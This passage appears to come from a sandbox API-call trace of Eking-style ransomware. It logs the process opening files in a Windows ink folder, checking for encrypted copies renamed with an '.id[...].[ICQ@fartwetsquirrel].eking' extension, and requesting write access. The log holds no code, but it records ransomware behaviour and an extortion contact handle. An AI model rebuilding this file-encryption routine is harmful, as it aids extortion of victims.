shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.646] SetEvent (hEvent=0x2b8) returned 1 [0231.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.646] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2592) returned 1 [0231.646] CloseHandle (hObject=0x36c) returned 1 [0231.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0231.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0231.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.647] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2462) returned 1 [0231.647] CloseHandle (hObject=0x36c) returned 1 [0231.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0231.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0231.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.648] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2436) returned 1 [0231.648] CloseHandle (hObject=0x36c) returned 1 [0231.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0231.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0231.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.651] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2556) returned 1 [0231.651] CloseHandle (hObject=0x36c) returned 1 [0231.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0231.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0231.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.652] SetEvent (hEvent=0x2b8) returned 1 [0231.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.652] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2514) returned 1 [0231.652] CloseHandle (hObject=0x36c) returned 1 [0231.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0231.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0231.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.653] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2616) returned 1 [0231.653] CloseHandle (hObject=0x36c) returned 1 [0231.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0231.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0231.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0231.654] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2618) returned 1 [0231.655] CloseHandle (hObject=0x36c) returned 1 [0231.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0231.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0231.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.930] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2578) returned 1 [0231.930] CloseHandle (hObject=0x348) returned 1 [0231.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0231.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0231.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.931] SetEvent (hEvent=0x2b8) returned 1 [0231.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.932] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3024) returned 1 [0231.932] CloseHandle (hObject=0x348) returned 1 [0231.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0231.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml")) returned 0x20 [0231.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.933] SetEvent (hEvent=0x2b8) returned 1 [0231.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.952] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2560) returned 1 [0231.952] CloseHandle (hObject=0x348) returned 1 [0231.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0231.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0231.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.953] SetEvent (hEvent=0x2b8) returned 1 [0231.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.954] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2658) returned 1 [0231.954] CloseHandle (hObject=0x348) returned 1 [0231.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0231.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0231.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.955] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2628) returned 1 [0231.955] CloseHandle (hObject=0x348) returned 1 [0231.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0231.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml")) returned 0x20 [0231.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.965] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2532) returned 1 [0231.965] CloseHandle (hObject=0x348) returned 1 [0231.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0231.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0231.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.967] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2652) returned 1 [0231.967] CloseHandle (hObject=0x348) returned 1 [0231.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0231.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0231.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0231.973] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2522) returned 1 [0231.973] CloseHandle (hObject=0x348) returned 1 [0231.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0231.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0231.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.974] SetEvent (hEvent=0x2b8) returned 1 [0231.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.071] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=41984) returned 1 [0232.071] CloseHandle (hObject=0x368) returned 1 [0232.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0232.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0232.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.071] SetEvent (hEvent=0x2b8) returned 1 [0232.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0232.073] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2580) returned 1 [0232.073] CloseHandle (hObject=0x368) returned 1 [0232.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 